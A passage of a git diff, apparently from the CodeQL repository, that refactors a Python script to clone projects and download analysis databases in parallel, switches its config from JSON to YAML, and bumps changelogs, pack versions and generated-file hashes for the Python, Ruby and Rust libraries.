git_tag = project.get("git-tag") # Determine target directory target_dir = os.path.join(build_dir, name) @@ -103,6 +116,39 @@ def clone_project(project: Project) -> str: return target_dir +def run_in_parallel[ + T, U +]( + func: Callable[[T], U], + items: List[T], + *, + on_error=lambda item, exc: None, + error_summary=lambda failures: None, + max_workers=8, +) -> List[Optional[U]]: + if not items: + return [] + max_workers = min(max_workers, len(items)) + results = [None for _ in range(len(items))] + with ThreadPoolExecutor(max_workers=max_workers) as executor: + # Start cloning tasks and keep track of them + futures = { + executor.submit(func, item): index for index, item in enumerate(items) + } + # Process results as they complete + for future in as_completed(futures): + index = futures[future] + try: + results[index] = future.result() + except Exception as e: + on_error(items[index], e) + failed = [item for item, result in zip(items, results) if result is None] + if failed: + error_summary(failed) + sys.exit(1) + return results + + def clone_projects(projects: List[Project]) -> List[tuple[Project, str]]: """ Clone all projects in parallel. @@ -114,40 +160,19 @@ def clone_projects(projects: List[Project]) -> List[tuple[Project, str]]: List of (project, project_dir) pairs in the same order as the input projects """ start_time = time.time() - max_workers = min(8, len(projects)) # Use at most 8 threads - project_dirs_map = {} # Map to store results by project name - - with ThreadPoolExecutor(max_workers=max_workers) as executor: - # Start cloning tasks and keep track of them - future_to_project = { - executor.submit(clone_project, project): project for project in projects - } - - # Process results as they complete - for future in as_completed(future_to_project): - project = future_to_project[future] - try: - project_dir = future.result() - project_dirs_map[project["name"]] = (project, project_dir) - except Exception as e: - print(f"ERROR: Failed to clone {project['name']}: {e}") - - if len(project_dirs_map) != len(projects): - failed_projects = [ - project["name"] - for project in projects - if project["name"] not in project_dirs_map - ] - print( - f"ERROR: Only {len(project_dirs_map)} out of {len(projects)} projects were cloned successfully. Failed projects: {', '.join(failed_projects)}" - ) - sys.exit(1) - - project_dirs = [project_dirs_map[project["name"]] for project in projects] - + dirs = run_in_parallel( + clone_project, + projects, + on_error=lambda project, exc: print( + f"ERROR: Failed to clone project {project['name']}: {exc}" + ), + error_summary=lambda failures: print( + f"ERROR: Failed to clone {len(failures)} projects: {', '.join(p['name'] for p in failures)}" + ), + ) clone_time = time.time() - start_time print(f"Cloning completed in {clone_time:.2f} seconds") - return project_dirs + return list(zip(projects, dirs)) def build_database( @@ -159,7 +184,7 @@ def build_database( Args: language: The language for which to build the database (e.g., "rust"). extractor_options: Additional options for the extractor. - project: A dictionary containing project information with 'name' and 'git_repo' keys. + project: A dictionary containing project information with 'name' and 'git-repo' keys. project_dir: Path to the CodeQL database. Returns: @@ -307,7 +332,10 @@ def pretty_name_from_artifact_name(artifact_name: str) -> str: def download_dca_databases( - experiment_name: str, pat: str, projects: List[Project] + language: str, + experiment_name: str, + pat: str, + projects: List[Project], ) -> List[tuple[Project, str | None]]: """ Download databases from a DCA experiment. @@ -318,7 +346,6 @@ def download_dca_databases( Returns: List of (project_name, database_dir) pairs, where database_dir is None if the download failed. """ - database_results = {} print("\n=== Finding projects ===") response = get_json_from_github( f"https://raw.githubusercontent.com/github/codeql-dca-main/data/{experiment_name}/reports/downloads.json", @@ -326,6 +353,7 @@ def download_dca_databases( ) targets = response["targets"] project_map = {project["name"]: project for project in projects} + analyzed_databases = {} for data in targets.values(): downloads = data["downloads"] analyzed_database = downloads["analyzed_database"] @@ -336,6 +364,15 @@ def download_dca_databases( print(f"Skipping {pretty_name} as it is not in the list of projects") continue + if pretty_name in analyzed_databases: + print( + f"Skipping previous database {analyzed_databases[pretty_name]['artifact_name']} for {pretty_name}" + ) + + analyzed_databases[pretty_name] = analyzed_database + + def download_and_decompress(analyzed_database: dict) -> str: + artifact_name = analyzed_database["artifact_name"] repository = analyzed_database["repository"] run_id = analyzed_database["run_id"] print(f"=== Finding artifact: {artifact_name} ===") @@ -351,27 +388,40 @@ def download_dca_databases( artifact_zip_location = download_artifact( archive_download_url, artifact_name, pat ) - print(f"=== Extracting artifact: {artifact_name} ===") + print(f"=== Decompressing artifact: {artifact_name} ===") # The database is in a zip file, which contains a tar.gz file with the DB # First we open the zip file with zipfile.ZipFile(artifact_zip_location, "r") as zip_ref: artifact_unzipped_location = os.path.join(build_dir, artifact_name) + # clean up any remnants of previous runs + shutil.rmtree(artifact_unzipped_location, ignore_errors=True) # And then we extract it to build_dir/artifact_name zip_ref.extractall(artifact_unzipped_location) - # And then we iterate over the contents of the extracted directory - # and extract the tar.gz files inside it - for entry in os.listdir(artifact_unzipped_location): - artifact_tar_location = os.path.join(artifact_unzipped_location, entry) - with tarfile.open(artifact_tar_location, "r:gz") as tar_ref: - # And we just untar it to the same directory as the zip file - tar_ref.extractall(artifact_unzipped_location) - database_results[pretty_name] = os.path.join( - artifact_unzipped_location, remove_extension(entry) - ) + # And then we extract the language tar.gz file inside it + artifact_tar_location = os.path.join( + artifact_unzipped_location, f"{language}.tar.gz" + ) + with tarfile.open(artifact_tar_location, "r:gz") as tar_ref: + # And we just untar it to the same directory as the zip file + tar_ref.extractall(artifact_unzipped_location) + ret = os.path.join(artifact_unzipped_location, language) + print(f"Decompression complete: {ret}") + return ret - print(f"\n=== Extracted {len(database_results)} databases ===") + results = run_in_parallel( + download_and_decompress, + list(analyzed_databases.values()), + on_error=lambda db, exc: print( + f"ERROR: Failed to download and decompress {db["artifact_name"]}: {exc}" + ), + error_summary=lambda failures: print( + f"ERROR: Failed to download {len(failures)} databases: {', '.join(item[0] for item in failures)}" + ), + ) - return [(project, database_results[project["name"]]) for project in projects] + print(f"\n=== Fetched {len(results)} databases ===") + + return [(project_map[n], r) for n, r in zip(analyzed_databases, results)] def get_mad_destination_for_project(config, name: str) -> str: @@ -422,7 +472,9 @@ To avoid loss of data, please commit your changes.""" case "repo": extractor_options = config.get("extractor_options", []) database_results = build_databases_from_projects( - language, extractor_options, projects + language, + extractor_options, + projects, ) case "dca": experiment_name = args.dca @@ -439,7 +491,10 @@ To avoid loss of data, please commit your changes.""" with open(args.pat, "r") as f: pat = f.read().strip() database_results = download_dca_databases( - experiment_name, pat, projects + language, + experiment_name, + pat, + projects, ) # Generate models for all projects @@ -492,9 +547,9 @@ if __name__ == "__main__": sys.exit(1) try: with open(args.config, "r") as f: - config = json.load(f) - except json.JSONDecodeError as e: - print(f"ERROR: Failed to parse JSON file {args.config}: {e}") + config = yaml.safe_load(f) + except yaml.YAMLError as e: + print(f"ERROR: Failed to parse YAML file {args.config}: {e}") sys.exit(1) main(config, args) diff --git a/misc/suite-helpers/CHANGELOG.md b/misc/suite-helpers/CHANGELOG.md index d65ced8b4c7..534af566852 100644 --- a/misc/suite-helpers/CHANGELOG.md +++ b/misc/suite-helpers/CHANGELOG.md @@ -1,3 +1,11 @@ +## 1.0.25 + +No user-facing changes. + +## 1.0.24 + +No user-facing changes. + ## 1.0.23 No user-facing changes. diff --git a/misc/suite-helpers/change-notes/released/1.0.24.md b/misc/suite-helpers/change-notes/released/1.0.24.md new file mode 100644 index 00000000000..379b5e33657 --- /dev/null +++ b/misc/suite-helpers/change-notes/released/1.0.24.md @@ -0,0 +1,3 @@ +## 1.0.24 + +No user-facing changes. diff --git a/misc/suite-helpers/change-notes/released/1.0.25.md b/misc/suite-helpers/change-notes/released/1.0.25.md new file mode 100644 index 00000000000..51ce67fd9b1 --- /dev/null +++ b/misc/suite-helpers/change-notes/released/1.0.25.md @@ -0,0 +1,3 @@ +## 1.0.25 + +No user-facing changes. diff --git a/misc/suite-helpers/codeql-pack.release.yml b/misc/suite-helpers/codeql-pack.release.yml index 0f96ba41d16..a5a44030e85 100644 --- a/misc/suite-helpers/codeql-pack.release.yml +++ b/misc/suite-helpers/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.0.23 +lastReleaseVersion: 1.0.25 diff --git a/misc/suite-helpers/qlpack.yml b/misc/suite-helpers/qlpack.yml index fa44a270665..848e808db34 100644 --- a/misc/suite-helpers/qlpack.yml +++ b/misc/suite-helpers/qlpack.yml @@ -1,4 +1,4 @@ name: codeql/suite-helpers -version: 1.0.24-dev +version: 1.0.26-dev groups: shared warnOnImplicitThis: true diff --git a/python/ql/lib/CHANGELOG.md b/python/ql/lib/CHANGELOG.md index 33813cf94e4..09dc9d983a8 100644 --- a/python/ql/lib/CHANGELOG.md +++ b/python/ql/lib/CHANGELOG.md @@ -1,3 +1,13 @@ +## 4.0.9 + +No user-facing changes. + +## 4.0.8 + +### Minor Analysis Improvements + +- The Python extractor now extracts files in hidden directories by default. If you would like to skip files in hidden directories, add `paths-ignore: ["**/.*/**"]` to your [Code Scanning config](https://docs.github.com/en/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/customizing-your-advanced-setup-for-code-scanning#specifying-directories-to-scan). If you would like to skip all hidden files, you can use `paths-ignore: ["**/.*"]`. When using the CodeQL CLI for extraction, specify the configuration (creating the configuration file if necessary) using the `--codescanning-config` option. + ## 4.0.7 ### Minor Analysis Improvements diff --git a/python/ql/lib/change-notes/2025-04-30-extract-hidden-files-by-default.md b/python/ql/lib/change-notes/released/4.0.8.md similarity index 93% rename from python/ql/lib/change-notes/2025-04-30-extract-hidden-files-by-default.md rename to python/ql/lib/change-notes/released/4.0.8.md index fcbb0a209ce..a87623b25b5 100644 --- a/python/ql/lib/change-notes/2025-04-30-extract-hidden-files-by-default.md +++ b/python/ql/lib/change-notes/released/4.0.8.md @@ -1,5 +1,5 @@ ---- -category: minorAnalysis ---- +## 4.0.8 + +### Minor Analysis Improvements - The Python extractor now extracts files in hidden directories by default. If you would like to skip files in hidden directories, add `paths-ignore: ["**/.*/**"]` to your [Code Scanning config](https://docs.github.com/en/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/customizing-your-advanced-setup-for-code-scanning#specifying-directories-to-scan). If you would like to skip all hidden files, you can use `paths-ignore: ["**/.*"]`. When using the CodeQL CLI for extraction, specify the configuration (creating the configuration file if necessary) using the `--codescanning-config` option. diff --git a/python/ql/lib/change-notes/released/4.0.9.md b/python/ql/lib/change-notes/released/4.0.9.md new file mode 100644 index 00000000000..4effa5d0480 --- /dev/null +++ b/python/ql/lib/change-notes/released/4.0.9.md @@ -0,0 +1,3 @@ +## 4.0.9 + +No user-facing changes. diff --git a/python/ql/lib/codeql-pack.release.yml b/python/ql/lib/codeql-pack.release.yml index bf65f0dc10b..25b75788f99 100644 --- a/python/ql/lib/codeql-pack.release.yml +++ b/python/ql/lib/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 4.0.7 +lastReleaseVersion: 4.0.9 diff --git a/python/ql/lib/qlpack.yml b/python/ql/lib/qlpack.yml index c98ee1e15d4..ffd394c2544 100644 --- a/python/ql/lib/qlpack.yml +++ b/python/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/python-all -version: 4.0.8-dev +version: 4.0.10-dev groups: python dbscheme: semmlecode.python.dbscheme extractor: python diff --git a/python/ql/src/CHANGELOG.md b/python/ql/src/CHANGELOG.md index c449304f0da..292fda17c90 100644 --- a/python/ql/src/CHANGELOG.md +++ b/python/ql/src/CHANGELOG.md @@ -1,3 +1,15 @@ +## 1.5.2 + +### Minor Analysis Improvements + +* Added SQL injection models from the `pandas` PyPI package. + +## 1.5.1 + +### Minor Analysis Improvements + +* The query `py/hardcoded-credentials` has been removed from all query suites. + ## 1.5.0 ### Query Metadata Changes diff --git a/python/ql/src/change-notes/2025-05-16-hardcoded-credentials.md b/python/ql/src/change-notes/released/1.5.1.md similarity index 64% rename from python/ql/src/change-notes/2025-05-16-hardcoded-credentials.md rename to python/ql/src/change-notes/released/1.5.1.md index ee550ce449b..3b04255f33a 100644 --- a/python/ql/src/change-notes/2025-05-16-hardcoded-credentials.md +++ b/python/ql/src/change-notes/released/1.5.1.md @@ -1,4 +1,5 @@ ---- -category: minorAnalysis ---- +## 1.5.1 + +### Minor Analysis Improvements + * The query `py/hardcoded-credentials` has been removed from all query suites. diff --git a/python/ql/src/change-notes/2025-05-26-pandas-sqli-sinks.md b/python/ql/src/change-notes/released/1.5.2.md similarity index 58% rename from python/ql/src/change-notes/2025-05-26-pandas-sqli-sinks.md rename to python/ql/src/change-notes/released/1.5.2.md index a230dcc63ec..813448ef447 100644 --- a/python/ql/src/change-notes/2025-05-26-pandas-sqli-sinks.md +++ b/python/ql/src/change-notes/released/1.5.2.md @@ -1,4 +1,5 @@ ---- -category: minorAnalysis ---- +## 1.5.2 + +### Minor Analysis Improvements + * Added SQL injection models from the `pandas` PyPI package. diff --git a/python/ql/src/codeql-pack.release.yml b/python/ql/src/codeql-pack.release.yml index 639f80c4341..7eb901bae56 100644 --- a/python/ql/src/codeql-pack.release.yml +++ b/python/ql/src/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.5.0 +lastReleaseVersion: 1.5.2 diff --git a/python/ql/src/qlpack.yml b/python/ql/src/qlpack.yml index 6e181439ee0..2fa2d2204b9 100644 --- a/python/ql/src/qlpack.yml +++ b/python/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/python-queries -version: 1.5.1-dev +version: 1.5.3-dev groups: - python - queries diff --git a/ruby/ql/lib/CHANGELOG.md b/ruby/ql/lib/CHANGELOG.md index 4d3dfc9c436..cdd84b3aeeb 100644 --- a/ruby/ql/lib/CHANGELOG.md +++ b/ruby/ql/lib/CHANGELOG.md @@ -1,3 +1,19 @@ +## 4.1.8 + +No user-facing changes. + +## 4.1.7 + +### Minor Analysis Improvements + +* Captured variables are currently considered live when the capturing function exits normally. Now they are also considered live when the capturing function exits via an exception. + +### Bug Fixes + +### Bug Fixes + +* The Ruby printAst.qll library now orders AST nodes slightly differently: child nodes that do not literally appear in the source code, but whose parent nodes do, are assigned a deterministic order based on a combination of source location and logical order within the parent. This fixes the non-deterministic ordering that sometimes occurred depending on evaluation order. The effect may also be visible in downstream uses of the printAst library, such as the AST view in the VSCode extension. + ## 4.1.6 No user-facing changes. diff --git a/ruby/ql/lib/change-notes/2025-05-13-captured-variables-live-more-often.md b/ruby/ql/lib/change-notes/2025-05-13-captured-variables-live-more-often.md deleted file mode 100644 index 3a0878e6553..00000000000 --- a/ruby/ql/lib/change-notes/2025-05-13-captured-variables-live-more-often.md +++ /dev/null @@ -1,4 +0,0 @@ ---- -category: minorAnalysis ---- -* Captured variables are currently considered live when the capturing function exits normally. Now they are also considered live when the capturing function exits via an exception. \ No newline at end of file diff --git a/ruby/ql/lib/change-notes/2025-05-02-ruby-printast-order-fix.md b/ruby/ql/lib/change-notes/released/4.1.7.md similarity index 68% rename from ruby/ql/lib/change-notes/2025-05-02-ruby-printast-order-fix.md rename to ruby/ql/lib/change-notes/released/4.1.7.md index b71b60c22b3..00625c5c5d8 100644 --- a/ruby/ql/lib/change-notes/2025-05-02-ruby-printast-order-fix.md +++ b/ruby/ql/lib/change-notes/released/4.1.7.md @@ -1,6 +1,11 @@ ---- -category: fix ---- +## 4.1.7 + +### Minor Analysis Improvements + +* Captured variables are currently considered live when the capturing function exits normally. Now they are also considered live when the capturing function exits via an exception. + +### Bug Fixes + ### Bug Fixes * The Ruby printAst.qll library now orders AST nodes slightly differently: child nodes that do not literally appear in the source code, but whose parent nodes do, are assigned a deterministic order based on a combination of source location and logical order within the parent. This fixes the non-deterministic ordering that sometimes occurred depending on evaluation order. The effect may also be visible in downstream uses of the printAst library, such as the AST view in the VSCode extension. diff --git a/ruby/ql/lib/change-notes/released/4.1.8.md b/ruby/ql/lib/change-notes/released/4.1.8.md new file mode 100644 index 00000000000..4c398b39078 --- /dev/null +++ b/ruby/ql/lib/change-notes/released/4.1.8.md @@ -0,0 +1,3 @@ +## 4.1.8 + +No user-facing changes. diff --git a/ruby/ql/lib/codeql-pack.release.yml b/ruby/ql/lib/codeql-pack.release.yml index 8b32e3bae01..8636017292c 100644 --- a/ruby/ql/lib/codeql-pack.release.yml +++ b/ruby/ql/lib/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 4.1.6 +lastReleaseVersion: 4.1.8 diff --git a/ruby/ql/lib/qlpack.yml b/ruby/ql/lib/qlpack.yml index 2548f8c1074..ab4215ced20 100644 --- a/ruby/ql/lib/qlpack.yml +++ b/ruby/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/ruby-all -version: 4.1.7-dev +version: 4.1.9-dev groups: ruby extractor: ruby dbscheme: ruby.dbscheme diff --git a/ruby/ql/src/CHANGELOG.md b/ruby/ql/src/CHANGELOG.md index 0a3ce10b979..fcee47275f5 100644 --- a/ruby/ql/src/CHANGELOG.md +++ b/ruby/ql/src/CHANGELOG.md @@ -1,3 +1,13 @@ +## 1.3.2 + +No user-facing changes. + +## 1.3.1 + +### Minor Analysis Improvements + +* The query `rb/hardcoded-credentials` has been removed from all query suites. + ## 1.3.0 ### Query Metadata Changes diff --git a/ruby/ql/src/change-notes/2025-05-16-hardcoded-credentials.md b/ruby/ql/src/change-notes/released/1.3.1.md similarity index 64% rename from ruby/ql/src/change-notes/2025-05-16-hardcoded-credentials.md rename to ruby/ql/src/change-notes/released/1.3.1.md index 684b1b3ea78..8d892f72ed0 100644 --- a/ruby/ql/src/change-notes/2025-05-16-hardcoded-credentials.md +++ b/ruby/ql/src/change-notes/released/1.3.1.md @@ -1,4 +1,5 @@ ---- -category: minorAnalysis ---- +## 1.3.1 + +### Minor Analysis Improvements + * The query `rb/hardcoded-credentials` has been removed from all query suites. diff --git a/ruby/ql/src/change-notes/released/1.3.2.md b/ruby/ql/src/change-notes/released/1.3.2.md new file mode 100644 index 00000000000..14f14807ef5 --- /dev/null +++ b/ruby/ql/src/change-notes/released/1.3.2.md @@ -0,0 +1,3 @@ +## 1.3.2 + +No user-facing changes. diff --git a/ruby/ql/src/codeql-pack.release.yml b/ruby/ql/src/codeql-pack.release.yml index ec16350ed6f..86a9cb32d86 100644 --- a/ruby/ql/src/codeql-pack.release.yml +++ b/ruby/ql/src/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.3.0 +lastReleaseVersion: 1.3.2 diff --git a/ruby/ql/src/qlpack.yml b/ruby/ql/src/qlpack.yml index ed987a47454..b6053c7a9ef 100644 --- a/ruby/ql/src/qlpack.yml +++ b/ruby/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/ruby-queries -version: 1.3.1-dev +version: 1.3.3-dev groups: - ruby - queries diff --git a/rust/ast-generator/README.md b/rust/ast-generator/README.md index 17d75c6445d..21193bdee1c 100644 --- a/rust/ast-generator/README.md +++ b/rust/ast-generator/README.md @@ -8,7 +8,7 @@ It uses: Both are fetched by bazel while building. In order to have proper IDE support and being able to run cargo tooling in this crate, you can run ```bash -bazel run //rust/ast-generator:inject_sources +bazel run //rust/ast-generator:inject-sources ``` which will create the missing sources. Be aware that bazel will still use the source taken directly from `rust-analyzer`, not the one in your working copy. Those should not need to be diff --git a/rust/bulk_generation_targets.yml b/rust/bulk_generation_targets.yml new file mode 100644 index 00000000000..15e38c7a18e --- /dev/null +++ b/rust/bulk_generation_targets.yml @@ -0,0 +1,24 @@ +strategy: dca +language: rust +destination: rust/ql/lib/ext/generated +# targets must have name specified and corresponding to the name in the DCA suite +# they can optionally specify any of +# with-sinks: false +# with-sources: false +# with-summaries: false +# if a target has a dependency in this same list, it should be listed after that dependency +targets: +- name: rust +- name: libc +- name: log +- name: memchr +- name: once_cell +- name: rand +- name: smallvec +- name: serde +- name: tokio +- name: reqwest +- name: rocket +- name: actix-web +- name: hyper +- name: clap diff --git a/rust/misc/bulk_generation_targets.json b/rust/misc/bulk_generation_targets.json deleted file mode 100644 index 274d5dc5b36..00000000000 --- a/rust/misc/bulk_generation_targets.json +++ /dev/null @@ -1,75 +0,0 @@ -{ - "strategy": "repo", - "language": "rust", - "targets": [ - { - "name": "libc", - "git_repo": "https://github.com/rust-lang/libc", - "git_tag": "0.2.172" - }, - { - "name": "log", - "git_repo": "https://github.com/rust-lang/log", - "git_tag": "0.4.27" - }, - { - "name": "memchr", - "git_repo": "https://github.com/BurntSushi/memchr", - "git_tag": "2.7.4" - }, - { - "name": "once_cell", - "git_repo": "https://github.com/matklad/once_cell", - "git_tag": "v1.21.3" - }, - { - "name": "rand", - "git_repo": "https://github.com/rust-random/rand", - "git_tag": "0.9.1" - }, - { - "name": "smallvec", - "git_repo": "https://github.com/servo/rust-smallvec", - "git_tag": "v1.15.0" - }, - { - "name": "serde", - "git_repo": "https://github.com/serde-rs/serde", - "git_tag": "v1.0.219" - }, - { - "name": "tokio", - "git_repo": "https://github.com/tokio-rs/tokio", - "git_tag": "tokio-1.45.0" - }, - { - "name": "reqwest", - "git_repo": "https://github.com/seanmonstar/reqwest", - "git_tag": "v0.12.15" - }, - { - "name": "rocket", - "git_repo": "https://github.com/SergioBenitez/Rocket", - "git_tag": "v0.5.1" - }, - { - "name": "actix-web", - "git_repo": "https://github.com/actix/actix-web", - "git_tag": "web-v4.11.0" - }, - { - "name": "hyper", - "git_repo": "https://github.com/hyperium/hyper", - "git_tag": "v1.6.0" - }, - { - "name": "clap", - "git_repo": "https://github.com/clap-rs/clap", - "git_tag": "v4.5.38" - } - ], - "destination": "rust/ql/lib/ext/generated", - "extractor_options": [ - "cargo_features='*'" - ] -} \ No newline at end of file diff --git a/rust/ql/.generated.list b/rust/ql/.generated.list index 7ab5a2588fb..7c60da3abb7 100644 --- a/rust/ql/.generated.list +++ b/rust/ql/.generated.list @@ -1,30 +1,30 @@ -lib/codeql/rust/controlflow/internal/generated/CfgNodes.qll 1032a5729a977b4295648574134c4a700c873d7bc27e159bc39d73673c06b0d8 e124fdc0cd8a64c8f142618d033d93873b928cb0858b212ffb1068457820147c -lib/codeql/rust/elements/Abi.qll 4c973d28b6d628f5959d1f1cc793704572fd0acaae9a97dfce82ff9d73f73476 250f68350180af080f904cd34cb2af481c5c688dc93edf7365fd0ae99855e893 +lib/codeql/rust/controlflow/internal/generated/CfgNodes.qll 6a103a6d04c951ca2f0c2989bed737cdbac56dd5ea9432b858da3416412bbf79 cf2bc67b65a1555de58bbd0a35b834b8867112a2f7c1951307c9416400ce70d0 +lib/codeql/rust/elements/Abi.qll 485a2e79f6f7bfd1c02a6e795a71e62dede3c3e150149d5f8f18b761253b7208 6159ba175e7ead0dd2e3f2788f49516c306ee11b1a443bd4bdc00b7017d559bd lib/codeql/rust/elements/Addressable.qll 13011bfd2e1556694c3d440cc34af8527da4df49ad92b62f2939d3699ff2cea5 ddb25935f7553a1a384b1abe2e4b4fa90ab50b952dadec32fd867afcb054f4be -lib/codeql/rust/elements/ArgList.qll 661f5100f5d3ef8351452d9058b663a2a5c720eea8cf11bedd628969741486a2 28e424aac01a90fb58cd6f9f83c7e4cf379eea39e636bc0ba07efc818be71c71 +lib/codeql/rust/elements/ArgList.qll 3d2f6f5542340b80a4c6e944ac17aba0d00727588bb66e501453ac0f80c82f83 afd52700bf5a337f19827846667cd0fb1fea5abbbcbc353828e292a727ea58c9 lib/codeql/rust/elements/ArrayExpr.qll e4e7cff3518c50ec908271906dd46c1fbe9098faa1e8cd06a27f0a6e8d165ed1 fe02a4f4197f57ecd1e8e82d6c9384148ec29d8b106d7f696795b2f325e4a71b lib/codeql/rust/elements/ArrayListExpr.qll 451aedcecb479c385ff497588c7a07fda304fd5b873270223a4f2c804e96b245 a8cb008f6f732215623b5626c84b37b651ca01ccafb2cf4c835df35d5140c6ad lib/codeql/rust/elements/ArrayRepeatExpr.qll 4b7ed5be7d2caaf69f6fc0cd05b0e2416c52d547b1a73fb23d5a13007f75f4dd f6366f21cc48376b5fdf37e8c5c2b19415d4cbdeef09f33bb99cde5cb0f5b0e7 -lib/codeql/rust/elements/ArrayTypeRepr.qll 7d5148c9efaf13e6880b327ca426304f7574608a29e6b8a219ed291003cbe1ae 73a297b0307cd014d08ccb3c00fc57b6c115adadee72a0ebb4c01fcae9e47163 -lib/codeql/rust/elements/AsmClobberAbi.qll e6fcfc3d25ab113b73247f28ff89d16ae1c85797fa43f237cb2fa396ca20bdda 898469a38e3270c8d555e0b87b4fb653434f451175b729928ef437120d42bf18 -lib/codeql/rust/elements/AsmConst.qll a73654a7861100f096b92a0167311664e568a0ddcb8c97b6faabb42ad9630e46 e24f8834e2b8143d35aa107cdbffbc91955341f77574d684d8777ef9e673cd3a -lib/codeql/rust/elements/AsmDirSpec.qll 891e5b23287cca1671eddbe1e53f4d44d5692cebb7b599e1490a4e5694264be8 621f0726d5f50c8237e75323af7955785ed996f54c0422d2443fd6c33efa6346 -lib/codeql/rust/elements/AsmExpr.qll 1b0899fb7c0b6478fa102ccd0d30cac25aeca5c81d102158b15353ca498130c8 3802c40b748976c5b6dfd79315452ab34532ba46caf19fa8fbf557968e8fea74 -lib/codeql/rust/elements/AsmLabel.qll 3c8340aa3312c720d43469fab49b9305319e2ead80e5848245fdcaea3a256341 31207d65417fe639c484c814922dedad5aa418ce1e1a097a6c8d7d81290dd498 +lib/codeql/rust/elements/ArrayTypeRepr.qll a3e61c99567893aa26c610165696e54d11c16053b6b7122275eff2c778f0a52d 36a487dcb083816b85f3eec181a1f9b47bba012765486e54db61c7ffe9a0fcbf +lib/codeql/rust/elements/AsmClobberAbi.qll eb5628916f41ab47e333b4528fba3fb80caecd2805fb20ba4f5c8d59c9677f14 636fce6b3a7f04141d0d3a53734d08a188a45bcc04f755bb66746d4f0a13fa72 +lib/codeql/rust/elements/AsmConst.qll f408468624dd0c80c6dcf62d17e65a94cd477a5a760be1b5fdd07c8189a3b4ea e4159073b3ee6d247e8962ce925da55ea39ee2cd1649f8b785a92aea17dbf144 +lib/codeql/rust/elements/AsmDirSpec.qll 0c439c031c9f60596373aee8ae2ee70068582548ae365a3c7c19c8b5e2b030d2 0127b08b99bd8725cb6273c1a930aef4434897f23611cfc4ec2dd1b7c9d7e3d0 +lib/codeql/rust/elements/AsmExpr.qll 33a9a873ba05235dd80103ed22555eee220a4c0cb86605d0f76bcda316605449 c8a99b7bd55aac41e56d05cd5a52692f1d835ed3e1a1bd029bb41d8e2b81b240 +lib/codeql/rust/elements/AsmLabel.qll 5fa3401c49329ddc845bd95d5f498a455202f685e962dfec9bc91550577da800 f54fe1dcd3c76f36e6abc7b56dc5d6f5b1c30d0fb434db21dd8a1ce731fc6abf lib/codeql/rust/elements/AsmOperand.qll 3987a289233fe09f41f20b27939655cc72fa46847969a55cca6d6393f906969a 8810ff2a64f29d1441a449f5fd74bdc1107782172c7a21baaeb48a40930b7d5a -lib/codeql/rust/elements/AsmOperandExpr.qll 5f32dc9d1123797ec9c821d89118ecae729192fb88b5cbfbff385c80c26118d8 0faa6de658ce0d9a016c3213ae6c160c5d62b98b97a665e26b33dbb8860651f8 -lib/codeql/rust/elements/AsmOperandNamed.qll 1c6978e95c7a270024684934eb531695e79e98d8ed46c4e251cf5c93fb5ba316 00f221bcd285c013e0111859205638435bf4a5d062ca7f0cf0bd98501edc7c69 -lib/codeql/rust/elements/AsmOption.qll d3b282f30d33e9d9b531288eef078eeb556cbfa091d63948bcf55bd59273c683 91a1744541af4c7f316ce9ca7607c8537de6386f0fd56381a8cb7c1744c104c3 -lib/codeql/rust/elements/AsmOptionsList.qll c60a3283233433c31a54d2a2e1a7bafe1c5c57ffdf652d9c9d37536334652416 7cdf7344a8d14052c5a132bb4532c70b8878cdfcdc0df0a608c400df5c4683c2 +lib/codeql/rust/elements/AsmOperandExpr.qll 72d4455cf742dc977b0a33ea21539422aaf2263f36c6f4420ddcb360ac606a0a 03bd01e81b291c915deb20ce33d5bdf73a709fbc007ab7570490e9a8e7c8604c +lib/codeql/rust/elements/AsmOperandNamed.qll c65bcf6f4ad5ebb447873ac170bd5d29dc5fe557f7aaccbdb46a09b2583df673 d7e277e43414ca2c529c5a4e967f4c6cca34ee7239ab1a993558b0731ce9722b +lib/codeql/rust/elements/AsmOption.qll 7ad333a4bb152dbf7c1df0d90424ff20031841822e49b26cc615230b1c186581 9c2a087ea7f7c386eff170337f0c29568dea3d49a570b35207652b08e24a9355 +lib/codeql/rust/elements/AsmOptionsList.qll 3dd55a8b15ada811c9225b0fe9b733eabf22313e7bd1ae6a99fdcb9a6facea07 32d996dde8802e4a2afd8c3624f055cb4e4c18591dc236f3b5bf0c0d4e57f822 lib/codeql/rust/elements/AsmPiece.qll 8650bf07246fac95533876db66178e4b30ed3210de9487b25acd2da2d145416a 42155a47d5d5e6ea2833127e78059fa81126a602e178084957c7d9ff88c1a9a3 -lib/codeql/rust/elements/AsmRegOperand.qll ebc16804e7f45fd88b99caf8b88d34faa0a860b9dedd32a01377c0cde8bea41a 03ceba863d4b9d6c19d1ef0bd27f782d9c6ccc7ffa8339bd8f27954d55cdc5f5 -lib/codeql/rust/elements/AsmRegSpec.qll fb85fe7dba34ad3694624d504423faec4b4e85fb7469192647d721a3d062c00e 1dee3b1e811984d2ed1b9770ad8588535bd4f28d83eccf013389c93593678ff1 -lib/codeql/rust/elements/AsmSym.qll 3a972dc25565bbd4fd73e0616e487c826e6d926f768f0c76f1e7c00a9db0e55b b15d78540da6f566bab12fa29c1ca4cef11380e9a5578ec70e7c893555b0f333 -lib/codeql/rust/elements/AssocItem.qll 5e514287bbe353d1d637991e7af836e5659ad66922df99af68ab61399e7f8f9a 3733af54938271161ee2720c32ac43228d519b5c46b7cea1e4bbe3dc634f8857 -lib/codeql/rust/elements/AssocItemList.qll ee719e7105a1936e2dd6cda0c55c73ff2704b6461861b2503ed86198484e4c06 de26c8127fd643b8b4567c0ce39511050f7ceefa0075a48a8ad03d50f56a1142 -lib/codeql/rust/elements/AssocTypeArg.qll a01fb46212bed37224841e9aa3909290e720fdaffc7e443cf8a52f6bf7111ff4 9783f77b4983df46f054a18d339107fa17e5f392c360a772811ccf3bb9da32a1 +lib/codeql/rust/elements/AsmRegOperand.qll 27abfffe1fc99e243d9b915f9a9694510133e5f72100ec0df53796d27a45de0c 